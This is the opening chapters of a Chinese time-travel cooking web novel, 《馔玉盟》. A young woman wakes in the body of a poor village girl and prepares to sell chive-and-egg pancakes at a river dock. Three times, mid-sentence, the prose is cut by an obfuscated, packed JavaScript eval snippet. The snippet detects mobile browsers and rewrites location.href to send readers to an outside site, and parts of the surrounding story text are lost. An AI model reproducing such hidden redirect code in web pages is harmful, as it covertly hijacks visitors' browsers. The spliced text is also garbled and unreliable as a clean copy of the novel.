《馔玉盟（美食）》 1. 穿越 林窈觉得天旋地转，脑袋像是被重锤狠狠敲打过，钝痛一波一波袭来。 她费力睁开眼睛，眼前是一片荒郊树林，四周静谧得有些阴森。 身下的土地潮湿而绵软，散发着腐朽的气息，混合着丝丝血腥味儿。 林窈记得，她刚刚完成甲方的要求，正准备去烧烤店搓一顿，但是还没来收拾完东西，心脏就传来一阵剧痛，眼前瞬间漆黑，耳边是同事惊恐的喊声。再醒来，就躺在了这个荒凉的地方。 她现在脑袋胀痛，一些不属于她的的记忆不停地涌进她的脑子。 脑子里这个和她模样相似的小姑娘也叫林窈，今年才十二岁，被大伯娘哄骗去给人做妾，半路发现不对劲想逃走，但却阴差阳错丢了性命。 那大伯娘胡氏赶集时，听到镇上的胡员外家遣人四处物色年轻姑娘，许二十两白银的赏银，便动了把侄女卖给老员外做妾的歪心思。 在乡里，寻常一家一年的花销也不过三四两银钱，二十两白银够一家人活五年了，而且这银子若是用来娶亲，那真真是极为风光的。 胡氏有两个儿子，一个十八，另一个也十六岁了，却迟迟未能娶妻，听到这样的好买卖，她自然是不愿意放过的。 所以，就在两个时辰前，胡氏瞅准原主哥哥上山打猎的空子，找上了她。 “阿窈啊，”胡氏拉着她的手，语重心长地说道，“县里有户好人家，想找几个伶俐乖巧的丫鬟，活儿轻松，工钱还高嘞，一月有五百文，你去了，能挣不少钱补贴家用，你哥也不用那么累。” 原主虽然年纪小，也知道这个大伯娘向来对自己一家尖酸刻薄，但听见可以为哥哥分忧，犹豫一番就答应了。 只是一路上，原主见她神色慌张，脚步越走越快，这才逐渐起疑。 路过一处荒僻拐角时，原主看见不远处几个五大三粗的汉子正对着一个年轻姑娘拉扯，那姑娘哭得凄惨，她顿觉大事不妙，转身想跑。 胡氏见状，一把扯住她的胳膊，力气大得惊人：“死丫头，往哪儿跑！” 原主拼命挣扎，拉扯间，被一旁的石头绊倒，额头重重磕在石头上，鲜血瞬间喷涌而出。 剧烈的疼痛让原主意识模糊，她听见大伯娘低声咒骂了一声“晦气”，便感觉身体被拖拽进了树林。 意识消散前，她隐约听到大伯娘匆匆跑远的脚步声。 可怜这小姑娘因为常年食不果腹，早就营养不良，身体孱弱。这么一折腾，就悄无声息地死在了这里，把她换了过来。 整理完脑子里混乱的记忆，林窈心中一阵唏嘘，这就是个人吃人的世道。 现在自己借尸还魂，虽然能重活一世，但心里也没有半点高兴，也许是因为这个早夭的小女孩，也许是因为自己即将要面对的生活。 她把手放在心上，心中默默地说：“还没有完成的事都交给我，你安心地去吧。” 休息了一会，林窈扶着身旁的树干，缓缓起身，双腿还打着颤，痛得咬牙切齿。 她一边走着，一边在原主的记忆里搜寻关于这个时代的记忆。 这是个架空古代王朝的末年，名为大燕，大燕王朝也曾历经数百年的繁华昌盛，可如今却已步入风雨飘摇的末年。 天下乱成了一锅粥，天灾人祸接踵而至。 连续数年，旱灾肆虐，百姓颗粒无收。旱灾连着洪灾，无数百姓流离失所，感染疫病。可朝廷在这危难时刻，却对百姓的苦难视而不见，赈灾的款项和物资迟迟不到，饿殍遍地。赋税也越发沉重，各级官员为了中饱私囊，层层加码，百姓们在沉重的赋税压迫下，生活苦不堪言。 徭役更是让百姓不堪重负。 朝廷大兴土木，修建宫殿、城墙，对劳力的需求近乎疯狂，家家户户基本都有青壮年劳力被强行征调。那些被征去服徭役的百姓，在恶劣的环境下劳作，食不果腹，衣不蔽体，还要遭受监工的打骂与虐待，许多人累死在工地上，连尸骨都无法还乡。 民间怨声载道，百姓们对朝廷的不满与日俱增。一些地方开始出现小规模的起义，虽暂时不成气候，但星星之火已悄然点燃。 而朝中，各方势力为了争夺权力，明争暗斗，一片混乱。权臣把持朝政，结党营私，排斥异己，皇帝则沉迷于酒色，对朝政不闻不问，任由局势一步步恶化。 周边的邻国也察觉到了大燕的衰落，纷纷蠢蠢欲动，妄图在这混乱之际，分一杯羹。 整个大燕，如大厦将倾，摇摇欲坠。 原主所在的小山村，虽说偏居一隅，却也被阴霾笼罩。村里不少青壮被征走，农田大片荒芜，粮食收成逐年锐减，搞得人心惶惶。 三兄妹的父亲——林长康，也被征兵的带走了，本是轮不到他的，只是林德茂不舍自己的大儿子从军，就逼着二儿子顶替自己的大哥去从军。 半年前，他们这一批从军的伤兵被放回乡里，回来的人都说入了军营没多久就没再见过林长康，多半是早就死在了战场上。 听到这个消息，原主的娘，也就是贾氏，当即就晕了过去。 林德茂听到二儿子可能死在了战场上，没有丝毫伤心，反而因为不想掏钱给贾氏治病，立刻折腾起分家的事情。 在这个孝字压人的时代，贾氏和林家三兄妹虽心里有怨，但也无处争辩，他们的奶奶朱氏倒是想为他们争上一二，但是林德茂对她说的话是一点也不在乎。 最后，林德茂只分了三间漏风的茅草屋和一袋子糙米给他们，男丁应得的田地、原主娘的嫁妆，甚至连原主爹给她攒的嫁妆都被林德茂扣下了。 贾氏在听到丈夫失踪的消息时，就已经晕厥过一次，身体虚弱。在住进漏风的茅草屋后，就得了风寒，连吃了几剂的药都没有一点好转，没几日就撒手人寰。 贾氏走后，留下三个孩子苦苦挣扎。 为了给贾氏治病，三兄妹花光了家里所有的铜板，看着越来越少的粮食，哥哥林诚往山里跑的频率更高了。 林诚今年十五，从小跟着父亲学了些打猎的手艺，可毕竟年纪尚小，每次进山都收获寥寥，一家人也只能勉强维持温饱。 原主还有个幼弟林崧，今年四岁，生得虎头虎脑，平日乖巧懂事，但是因为从小就饿肚子，小脸蜡黄，身形瘦瘦小小。 林窈梳理完原主的家庭关系，突然觉得自己前世孤身一人生活，没牵没挂，一人吃饱全家不饿的日子可真是神仙日子。 另一边，林诚在半个时辰前，带着今天打的一只山鸡和野兔子下山，想着今天能让弟弟妹妹吃顿饱饭，可迈进家门，却不见林窈的身影。 林诚连唤了几声，只有林崧从破旧的茅草屋里跑了出来。 二姐今天出门的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094883|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说要给他买麦芽糖吃，让他乖乖在家等着，可是左等右等都不见人，他心里早就慌了。 小家伙一路小跑着去找哥哥，见到林诚时，眼眶已经泛红，带着哭腔喊道：“阿兄，二姐不见了！二姐说给我买麦芽糖，我等了好久，她都没有回来。” 一种不祥的预感涌上林诚心头，家里连吃饱都成问题，哪来的闲钱买麦芽糖，别是小妹别人诓骗了。 林诚扔下猎物，在村里四处打听，逢人便问有没有看到林窈，但村民们大多摇头。 林诚心急如焚，顺着出村的路一路找去，沿途呼喊着林窈的名字。 天色渐暗，视野越来越狭窄，林诚愈发着急，继续在山林边缘搜寻，荆棘划破他的衣衫，他也浑然不顾。 直到在一处荒草丛里，发现了掉落的发带，他认得，那是娘生前给妹妹编的，他的心瞬间沉到谷底，加快速度朝着荒郊树林奔去。 此时，林窈一路磕磕绊绊，也终于走出了林子，正巧碰上了跑入树林的林诚。 林诚看见妹妹满脸血污，发丝凌乱，一身的泥泞和狼狈，来不及多想，立刻冲上前把她背到背上，大步流星往家赶。 “阿窈，别怕，阿兄带你回家！”林诚着急地说。 回家的路上，也许是兄妹俩血脉相连，哪怕林窈其实和这个叫林诚的少年没有一点关系，她的身体也开始慢慢放松下来，逐渐意识昏沉，睡了过去。 回到茅草屋，林诚小心翼翼地把林窈放在床上，转身就去翻找草药。 他常年上山打猎，大大小小的伤受过不少，所以家中常年备着止血消肿的草药。 林崧站在一旁，小手紧张地揪着衣角，眼睛里蓄满了担忧与害怕。 他轻轻地往林窈额头上的伤口吹气，上次他摔伤的时候，娘也是这样给他吹吹，娘说吹吹就不痛了。 林诚把草药捣碎，轻轻地敷在林窈额头的伤口上。 半晌之后，林窈悠悠转醒，放松下来之后，身体的疼痛愈发明显，嗓子也干涩得厉害，她发出了嘶哑的声音：“水……” 林崧一直趴在床头，听到姐姐的声音，立刻跑去桌边倒了一杯水，递到林窈嘴边。 林窈就这林崧的小手里那个豁了一个口的碗，连喝两碗水，这才缓过来。 林诚给她敷完药之后，就在屋外处理猎物，听到动静，他立刻放下猎物进了屋子，看到妹妹终于清醒了，心里也松了一口气。 “阿窈，今日可是发生了什么？”林诚问道。 林窈扶着床边坐直了身子，在兄弟俩担忧的目光下，把今天发生的事情说了出来。 林诚越听拳头越攥越紧，骨节泛白，自从阿爹失踪后，大伯一家就处处欺压他们，如今还动了卖妹妹的心思，他怒喝道：“大伯娘怎地如此恶毒！我找她算账去！”说着就要往外冲。 林窈赶忙拉住他，虚弱道：“阿兄，咱们没证据，空口无凭，她定然耍赖，说不定还会反咬我们一口，日后再寻机会罢。” 林诚咬紧牙关，最终也还是点了点头，扶着林窈躺下休息。 屋内昏暗潮湿，林窈躺在破旧的床上，脑袋依旧昏昏沉沉，可心思却活络起来。 在这乱世中，想要活下去，还是得靠自己。 既然老天让她穿越过来，总不能是为了让她再死一次，她一定可以谋出一条生路。 2. 琢磨赚钱 天刚蒙蒙亮，林窈便悠悠转醒，她的脑袋还有些昏沉，伤口也在隐隐作痛。 躺在床上，林窈仰面看着这似乎风一吹就能掀翻的小茅草屋。 四周的土墙斑驳陆离，裸露着干硬的黄泥。仅有的一张桌子，还缺了条腿，用几块石头勉强垫着，摇摇欲坠。几张破板凳歪在一旁，有的甚至断了半截凳板。 再看看自己现在这副身体，瘦得皮包骨头，身上那件打着补丁的粗布衣裳松松垮垮，就像套着麻袋的竹竿。头发枯黄毛躁，毫无光泽，随意用根发绳扎在脑后。脸颊深深凹陷下去，衬得一双眼睛格外大。 林窈瞬间没了赖床的心思。 林窈走出屋子，看到林诚已经做好了早饭，正在收拾烧火用的木柴。她看着眼前十五岁的少年，本应是身形初展的年纪，却因为长期繁重的劳作与食不果腹，身形显得格外单薄。 林诚转身看到妹妹正站在一旁发愣，不知在想什么，“阿窈，你伤还没好利索，怎么不多睡会儿？” 林窈回过神，“不碍事，伤口好多了，躺久了骨头都僵了。” 林窈迈进灶房，目光落在正中央那口大铁锅上。锅中，糙米粥正稀稀拉拉地翻滚着，汤多粮少，淡而无味，她突然觉得这锅粥就如同林家二房此前的命运，看似在沸腾挣扎，实则毫无起色，空有热度却填不饱肚子，也改变不了窘迫的现状。 虽说她早已通过原主的记忆，对林家二房的穷困有所了解，可当亲身站在这灶房，直面这锅寒碜的糙米粥时，才真切地体会到这份贫穷带来的窘迫与无奈。 但林窈骨子里就有股不服输的劲儿，这一瞬的失落转瞬即逝，现在，她脑海里只剩下一个无比坚定的念头在疯狂回响：赚钱！一定要想尽办法赚钱！她林窈，要过锦衣玉食的生活！ 不过在这之前，得先填饱肚子，她盛出三碗粥，放到桌上，去叫兄弟二人吃早饭。 林崧听到姐姐的声音，立马就跑进灶房，他端起自己的碗，小口小口地开始喝粥。 因为长期营养不良，林崧比同龄孩子矮了一大截，看着就和三岁小孩无异，小小的身子裹在破破烂烂的衣服里，衣服上补丁摞补丁，像是拼贴起来的破布图。他头发稀稀拉拉，贴在头皮上，愈发显得脑袋小小的。 她端起碗喝了一口，野菜的苦涩混着糙米的粗粝瞬间在舌尖散开，林窈忍不住皱了皱鼻子，但肚子饿起来，也没太多挑剔，还是慢慢往嘴里送。 早饭过后，林窈心里装着赚钱的事儿，打算出去探探情况，她说道：“阿兄，我等会儿出去把衣服洗了。” 林诚停下了手中的活，“你在家歇着，一会哥去洗就成。” 林窈摇了摇头，“我的伤口无碍，今日衣裳不多，很快便能洗好，阿兄去给我和阿弟打野鸡吃！” 小女孩眼睛亮晶晶的，还馋嘴似的咽了咽口水，补充道：“我都好些日子没尝过野鸡味儿了。” 林诚有些哭笑不得，自家妹妹平日里乖巧懂事，但到底年纪还小，正是馋嘴的时候。 “那行，你洗完衣裳就赶紧回家，别乱跑。”林诚应了下来，把箭筒仔细地挎在肩头，又紧了紧手中的猎弓，转身向后山走去。 林窈看着哥哥远去的背影，直到那身影隐没在小路尽头，才手脚麻利地收拾好洗衣盆，抱起几件破旧衣裳出了门。 林窈跨出家门，清晨的风裹挟着草木的香气扑向她，这就是充满负离子的空气啊！太清新！太舒畅了！林窈不由得多做了几次深呼吸，贪婪地感受这纯净的空气。 林窈来到河边，把家里那几件破衣裳浸到水里，加入草木灰，用力揉搓着污渍。做完这些事情，林窈没有立刻回家，而是转身，进了山。 说来也是幸运，林窈作为现代斜杠青年，自己运营着一个拥有百万粉丝的美食账号。 她曾经做过一个山林美食的系列视频，那段时间，她每天都在收集资料，对常见食材的生长习性都了解了个遍，没想到这个技能在现在用上了。 山林是天然宝库，尤其在还没有被充分开发的古代，里面更是遍地黄金。 她沿着蜿蜒曲折的小路缓缓步入大山。 林窈选的是村里人平时拾柴火走出来的山路，第一次进山，林窈还是很惜命的。 路旁的树木不算太过繁茂，多是些碗口粗的杂木，想必枝干早被村民们砍去当柴烧了，只剩下瘦高的树干林立两侧。 林窈没走几步路就发现了一丛野韭菜。 “居然是韭菜！”她在心里暗自惊呼。 韭菜能做的菜可太多了，林窈的思绪瞬间飘飞，脑海里浮现出一道道熟悉的现代美食：韭菜盒子、韭菜饺子、韭菜炒蛋……光是想想，口水都快忍不住了。不过，眼下条件简陋，食材稀缺，做起来最简单的还得是韭菜蛋饼。 可念头刚起，她又犯起愁来。 在古代，鸡蛋可不是什么唾手可得的食材，现在家里只有一只下蛋的母鸡，这母鸡还是有一回林诚上山的时候逮的野鸡。平时林诚都把母鸡下的蛋攒起来，拿到集市去换铜板，现在她要用来做饼，不知道林诚会不会答应。 正当林窈思索之时，不远处的灌木丛里突然传来一阵悉悉索索的声响，惊得她心跳陡然加快，后背瞬间沁出冷汗，她不敢多逗留，揣着那几株韭菜，脚步匆匆地回了家。 一进院子，林窈就瞧见林诚正在院子里修补破旧的桌子，林崧蹲在一旁，撅着小屁股，好奇地摆弄着地上的小石子。 “阿兄，我今儿个想吃鸡蛋。”林窈犹豫了一下，还是把话说出了口。 林诚手顿了一下，抬头看向妹妹。妹妹从小就懂事，很少和家里提要求。平日里家里的鸡蛋，向来是攒起来拿去集市换钱的，一颗就是两个铜板。 但是当他的目光触及林窈头上还未痊愈的伤，心中涌起一阵愧疚：“行，阿兄给你做，你昨儿个刚受了伤，得补补。” “我来做，今儿摘了些新鲜的韭菜，给你和崧儿做个新鲜吃食！”林窈。 “你上山了？”林诚问。 “嗯，就在山脚上摘的。”林窈回答道。 林诚突然板着脸说道，“这山里危险，切莫往深山去。前些日子，村东头的张大叔，想着去深山碰碰运气，多猎点稀罕物好换钱，结果一去不复返。他家婆娘带着孩子哭天喊地找了几天，最后只寻回来一只破了的草鞋，那血糊糊的，看着就吓人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094884|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林窈乖巧地点点头，应道：“哥，我晓得的，就只在山脚边儿晃悠了一下，没敢多进。” 说完，林窈立刻钻进灶房，这才是她的舒适区。 林窈先是把采回的韭菜摊在案板上，仔细挑拣，摘除蔫掉的叶片，再拿到水盆里洗净，沥干水分后，利落地切成碎末，浓郁的韭菜香瞬间在狭小的灶房弥漫开来。 为了避免老鼠和其他动物偷吃，鸡蛋被放在篮子里，吊在高处。 林窈搬来小板凳，踩上去够高处的竹篮，从里头取出几颗野鸡蛋。 林窈轻轻磕开鸡蛋，蛋液滑入碗中，澄黄鲜亮，她拿起筷子快速搅拌，筷子与碗壁碰撞，发出清脆的哒哒声，不多会儿，蛋液就变得细腻蓬松。 接着，她把切好的韭菜末倒入蛋液、面粉，又加了一小撮盐，再次搅匀，此刻那碗里的蛋液韭菜糊色泽鲜亮，黄绿相间，看着就惹人生津。 添好柴火后，林窈挖了一大块猪油，猪油落进热锅，瞬间化作一汪澄澈的油液，在锅底缓缓漾开，滋滋作响。 随着油温攀升，林窈端起碗，沿着锅边缓缓倒入蛋液韭菜糊，“滋啦”一声，蛋液瞬间在热油中膨胀、凝固，边缘泛起诱人的金黄，还冒着绵密的小泡。 土灶火力旺，林窈不敢耽搁，迅速抄起锅铲，给蛋饼翻了个身，接着继续按压在饼上，让其受热更均匀，整个动作行云流水，一气呵成，饼的另一面也开始变得焦香酥脆。 林崧正蹲在院子里专心玩石头，玩着玩着突然闻到了一股勾人的香味。 他抬头望向灶房，小鼻子使劲耸动几下，扔了手里的石头，噔噔噔地就朝灶房奔去。 跑到灶房门口，小家伙猛地刹住脚，仰起头，眼睛直勾勾地盯着灶台，可他还没有灶台高，只能努力踮起脚尖，伸长脖子，一边吸着香气一边喊道：“好香啊，二姐！” 林窈瞧这他跟馋猫似的，眼睛里满是急切与渴望，就先给他撕了小块的韭菜鸡蛋饼，小家伙小心翼翼地接过，先是放在鼻尖嗅了嗅，这视若珍宝的小模样让人有些心酸。 林崧轻轻咬了一小口手上的韭菜蛋饼，蓬松的口感、鸡蛋的香气在嘴里横冲直撞，小家伙眼睛一下子亮了起来，腮帮子微微鼓起，慢慢咀嚼着，一脸满足，糯糯地说道：“二姐，好好吃。”说完，也不再多要，就乖乖站在一旁，眼睛却还时不时瞟向那盘饼。 林窈又给刚迈进灶房的哥哥递上一块。 林诚接过，看着这色泽诱人的吃食，他毫不犹豫地咬了一口。这一口下去，味蕾瞬间被点燃，从未尝过的美妙滋味在口腔里蔓延，他不禁眼睛一亮，看向妹妹的眼神里满是惊喜与赞叹：“阿窈，这饼真好吃！你这是打哪学来的这些新鲜吃法？真是香得不行。” 终于问了！林窈还怕他们不问这个问题。 她既然打算靠这手厨艺谋出一条生路，就必须给自己这身凭空冒出的厨艺找个说得通的由头。 毕竟在这古代，厨艺传承极为严苛，厨子的手艺要么是祖祖辈辈悉心相传，要么历经拜师、磕头上香等繁文缛节，从师父那儿习得。 原主不过是个没出过县城的小丫头，哪能无缘无故精通诸多菜品？ 3. 准备摆摊 林窈压低声音，脸上挂着几分神秘，缓缓说道：“阿兄，我受伤昏迷那会，做了个特别神奇的梦。梦里雾蒙蒙的，我辨不清东南西北，正害怕着呢，突然有道柔和的光透过来，一个仙人模样的老者就出现在我跟前。” 她一边说着，一边用手比划着，眼睛睁得大大的，“那仙人白发苍苍，胡子都快垂到地上，身上的衣裳还闪着细碎的星光，看着可神气了。他冲我笑了笑，也不说话，就带着我到了个神奇的地方，那儿有张大石头桌子，上头摆满了从没见过的佳肴。” 林窈越说越起劲儿，手在空中随意勾勒着梦中的场景：“仙人与我说了许多吃食，醒来后，那些做菜的法子就像刻在我脑袋里一样，清清楚楚。” 林诚听着妹妹这番描述，手中捏着半块饼，整个人像是被定住了一般，安静了半晌。他微微仰头，目光似乎穿透了破旧的屋顶，飘向遥远又缥缈的天际，眼眶也渐渐发红。 过了好一会儿，他才缓缓开口，声音带着一丝哽咽：“一定是娘放心不下我们，娘生前最疼你，肯定舍不得看你跟着哥吃苦……” 林崧虽然年纪小，但也听明白了几分，小手紧紧拽着林窈的衣角，仰着脑袋，大眼睛里雾蒙蒙的，小声嘟囔：“二姐，是娘来了吗？我好想娘。” 林窈伸手摸摸林崧的头，又看向林诚，“阿兄，一定是娘在护着咱们，有了这门手艺，我们挣多多的铜板，过上好日子。” 林诚深吸一口气，把那股酸涩的情绪强压下去，他知道现在不是伤怀的时候，妹妹说得对，日子还长。 他抹了把脸，看着林窈问道：“阿窈，你打算怎么挣钱？” 林窈心中一喜，知道这事八成是要成了，她赶忙把心里盘算许久的计划一股脑儿倒出来：“阿兄，我想着去码头摆个小食摊，先卖这韭菜鸡蛋饼，本钱不需要很多，味道又好，肯定有人买。等攒了些钱，还能再添点别的吃食。” 林诚点了点头，转身回到里屋，拿出一个破旧木箱，从里面拿出一个布包。 他将布包放在桌上，一层一层地打开，露出一把铜板，这是他卖猎物换来的铜钱。 林诚认真地数着钱，一个一个地将铜钱摆好，嘴里还轻声念叨着：“一、二、三……”数完后，他抬起头，看着林窈说：“阿窈，一共一百二十文，你拿去置办摆摊的东西吧。” 林窈看到他毫不藏私，心里很是动容，“阿兄，你放心，我一定会挣更多的铜板回来。” 这一身的厨艺终于过了明路，摆摊的本钱也有了，林窈仿佛已经看到一个个铜板在向她招手了。 三人决定先到集市上置办一些摆摊的东西。 到了集市，人群熙熙攘攘，摊位琳琅满目，林窈满心盘算着购置的物什，眼睛亮晶晶的，脚步轻快地穿梭在人群里。 林崧揪着姐姐的衣角，好奇地看着周围的景象。 林崧记事以来从来没有出过村子，也没有接触过这么多人，一下子见到这么热闹的集市，心里有些紧张。 看到卖糖人的小摊，林崧步子不自觉慢了下来，咽了咽唾沫，小手悄悄松开姐姐的衣角，想去看一看那些黄灿灿的糖人，可刚抬脚，摊主一个眼神瞥了过来，他就立马把手缩回来，脸涨得通红，又紧紧拽住林窈的衣角。 林窈敏锐地察觉到了林崧的紧张，叹了口气，这孩子也是可怜，但是生在这个艰难的世道，能吃饱就不错了，她弯下腰，悄悄在林松耳边说：“等二姐赚钱了就给崧儿买。” 林崧听到，眼睛又亮了起来：“好！二姐挣很多很多铜板，给崧儿买糖人！” 林窈点了点头，算是应下了。 安抚完小家伙，林窈继续盘算要买的东西。 她本来想着，要是能打个现代的铁板，受热均匀，那做饼肯定又快又好。可打听了一圈，她才知道巴掌大的一块铁板，就要八十文，这远远超出了他们的预算。她虽遗憾，但也只能放弃，先用家里的锅代替吧。 硬件买不起，软件总要准备好。 做饼，面粉是关键。 白面属于精细粮，价格要比粗粮贵上不少，但是要想做出能吸引顾客、让人回味的吃食，前期的投入必不可少。 她跟着林诚来到卖粮的铺子前，铺子里头堆满了各类粮食，黄澄澄的小米、黑黝黝的糙米，还有她心心念念的白面。 林崧跟着姐姐，亦步亦趋，看着白花花的面粉，忍不住伸手戳了戳袋子，袋子上出现了一个小小的手指印，他惊慌失措地看了看四周，确定没人在意，才悄悄松了口气。 林窈问过价格后，咬了咬牙，还是掏出三十文钱，买了一小袋白面。 正要走的时候，林窈看到一个高大的少年正在纠缠掌柜，“便宜些吧掌柜，我可是买了五十斤白面！您给我每斤便宜一文钱，我下回还在您这买！” 许之珩已经在这里软磨硬泡了一刻钟，买粮的钱花冒了，他只能跟掌柜讨价还价。 “不行，最多一斤便宜半文，二十五文，再多我就不做你这生意了！”掌柜没好气地说道。 那少年也不恼，乐呵呵地就作揖道谢，好话像不要钱似地往外冒，“多谢掌柜的，掌柜如此心善，日后必定财源滚滚、生意兴隆通四海，客似云来达三江，店铺声名远扬。” 好话谁都喜欢听，掌柜原本还很是不耐烦，这会也被他这一连串的话哄得眉开眼笑，抬手摆了摆，说道：“你这小子，真是为了省几个铜板无所不用其极。” 许之珩毫不在意地说道：“掌柜过了！誉过！” 林窈算是第一次见识到古人砍价的手段，看了好一会才拉着林崧出了粮食铺子。 接下来要买的就是猪板油。 家里做饭用的剩下的猪油已经所剩无几，要想做出香酥可口的韭菜鸡蛋饼，猪油是必不可少的。 她拉着林诚来到卖猪肉的案台前，花二十文买了块大小适中的猪板油。 至于鸡蛋，家里的攒的鸡蛋还够用，这次就不额外购置了。 买完必需品，天色还早，林窈便打算去山上再摘些韭菜，“阿兄，我想去山上再采点韭菜。” 林诚有些担忧：“我与你一同去，你一个人去不安全。” 林窈笑着摆摆手：“阿兄，你还得把这些东西拿回家，我就在山脚边，不往里走，很快就回来。” 林崧一听姐姐要去山上，兴冲冲说道：“二姐，我也去，我能帮着找韭菜！” 林窈摸了摸弟弟圆圆的脑袋，“好，崧儿一起去。” 林崧点了点头，脑袋上的小啾啾跟着晃了晃，紧紧跟在林窈身后。 姐弟俩把背篓里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094885|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西都交给林诚后就往山脚走去。 到了山脚下，林窈蹲下身子开始搜寻韭菜，林崧也学着姐姐，小心翼翼地蹲下，眼睛瞪得溜圆，在草丛里翻找。 突然，他瞧见一丛嫩绿，兴奋得差点喊出声，忙用小手捂住嘴巴，压低声音喊道：“二姐，这儿有！” 林窈扭头一看，还真是几株鲜嫩的韭菜，笑着夸道：“崧儿好眼力！” 姐弟俩把采下的韭菜放入背篓，不一会儿，两个背篓都装满了新鲜的韭菜。 林窈站起身，拍了拍手上的泥土，“这些够用了，回家吧！” 林崧也学着林窈的样子，把手上的泥土拍落，然后跟在姐姐身后回家，一路上哼着不成调的小曲儿。 回到家后，林窈一刻也没停歇。她先把背篓里的韭菜一股脑儿倒在院子里，仔细挑拣起来，摘除蔫掉的叶子、夹杂的杂草，又拿到水盆里反复清洗，直到每一株都干干净净。洗好的韭菜沥干水分，被整齐地码放在菜篮里。 接着，她把那一小袋白面小心翼翼地倒在案板上，面粉扬起一小片轻柔的白雾。林窈用手把面粉堆中间挖出个小坑，磕入几个鸡蛋，再缓缓倒入适量清水，手法娴熟又轻柔地搅拌起来，不一会儿，面糊就呈现出细腻均匀的质地。 林崧在一旁瞧着姐姐忙碌，也想帮忙，可又怕添乱，只能在一旁站着，眼睛紧紧跟着姐姐的动作转。 林窈瞧出了林崧的心思，笑着说：“崧儿，你帮姐姐看着火，别让它熄了，好不好？” 林崧忙不迭地点头，小跑到灶膛前坐下，眼睛一眨不眨地盯着里头的火苗。 林诚则接过了切猪板油的活儿，他手法利落，几下就把猪板油切成大小均匀的小块，把小块猪板油放进锅里，准备炼油。 随着温度升高，锅里的水开始沸腾，猪板油在水中翻滚，发出滋滋的轻响。渐渐地，水分蒸发殆尽，猪板油开始融化，透明的油脂缓缓渗出，在锅底汇聚成一小汪油池。林诚用勺子不时翻动着，不一会儿，锅里的猪板油就变成了金黄色的油渣，浓郁的香气弥漫开来。 林崧在一旁狠狠地咽了一下又一下口水。 林诚小心地将炼好的猪油倒入瓦罐中，剩下的油渣在锅里散发着诱人的焦香。他拿起漏勺，把油渣捞出来，放在碗里稍微晾凉。 林崧的眼睛都黏在了猪油渣上，小鼻子使劲嗅着：“阿兄，真香啊！” 林诚看到弟弟这个样子，心里有点酸涩。从前没分家的时候，阿爷就偏心大伯一家，有什么好东西都紧着大伯一家。这猪油渣在爹还在的时候，他们也分到过几块，但是爹走了之后，就都落入了大房一家的肚子了。 林诚把猪油渣夹到一个小碗里，“阿弟阿妹吃，以后哥还给你们做。” 林崧眼睛放光，迫不及待地抓起一块放进嘴里，酥脆的口感在齿间散开，满嘴留香，他含糊不清地说：“太好吃啦，阿兄你也吃。” 林诚摸了摸他的头，自己也拿起一块。 林窈夹起一块猪油渣送进自己嘴里，酥香油润，只可惜这儿没有白糖，不然蘸着白糖吃更是一绝。 吃过猪油渣，兄妹三人又继续忙活，直到傍晚时分，明天摆摊要用的东西才准备就绪。 林窈看着摆放在院子里的准备好的食材，心中多了一丝安定。 4. 出摊：韭菜煎蛋饼 翌日卯时，天空还透着微微的墨蓝，林窈和林诚早早地起床了。 他们轻手轻脚地来到院子里的水缸旁，舀起井水，洗漱一番。 洗漱完，林诚去灶房煮上了糙米野菜粥。锅里的粥冒着热气，散发出野菜淡淡的苦涩，糙米也比昨日还要少了许多，毕竟置办摆摊的东西花了家里大半的积蓄。 做好早饭，林窈走到崧儿的床边，轻轻把他从床上薅起来，说道：“崧儿，该起床了，今日咱们要去码头卖好吃的韭菜鸡蛋饼。”崧儿揉了揉惺忪的睡眼，迷迷糊糊地点点头，跟着姐姐下了床。 吃过早饭，收拾完后，林诚把小食摊要用到的家伙什一一绑在扁担上，挑起来试了试重量。 林窈背起背篓，里面装着前一晚准备好的食材和昨天洗净备用的棕叶芦。 这些棕叶芦是用来包食物，林窈本想像电视剧里一样，裁些油纸包食物，一问才知道，纸在古代的价格可不低，她现在穷得叮当响，就不打算在这里再花一笔钱了。 林窈在路上看到不少商贩都是用的棕叶芦包食物，就让林诚摘了些回来包食物。 收拾妥当后，林窈牵着弟弟，和林诚一起朝着村子附近的码头赶去。 此时的码头已经渐渐热闹起来。 江面上，江水在晨曦的映照下泛着粼粼波光，如同一条流动的金色绸带。一艘艘船只停靠在岸边，有满载货物的货船，船身被压得略微下沉，码头上的工人正忙碌地装卸着货物；也有轻巧的渔船，船头还挂着昨夜捕鱼的渔网。远处的江面上，还有一些船只正缓缓驶来，船帆在微风中鼓鼓囊囊的。 码头上有着各种摊位，有卖新鲜的打上来的鱼虾，更多的是卖早点的，热气腾腾的包子、油条，香气扑鼻。 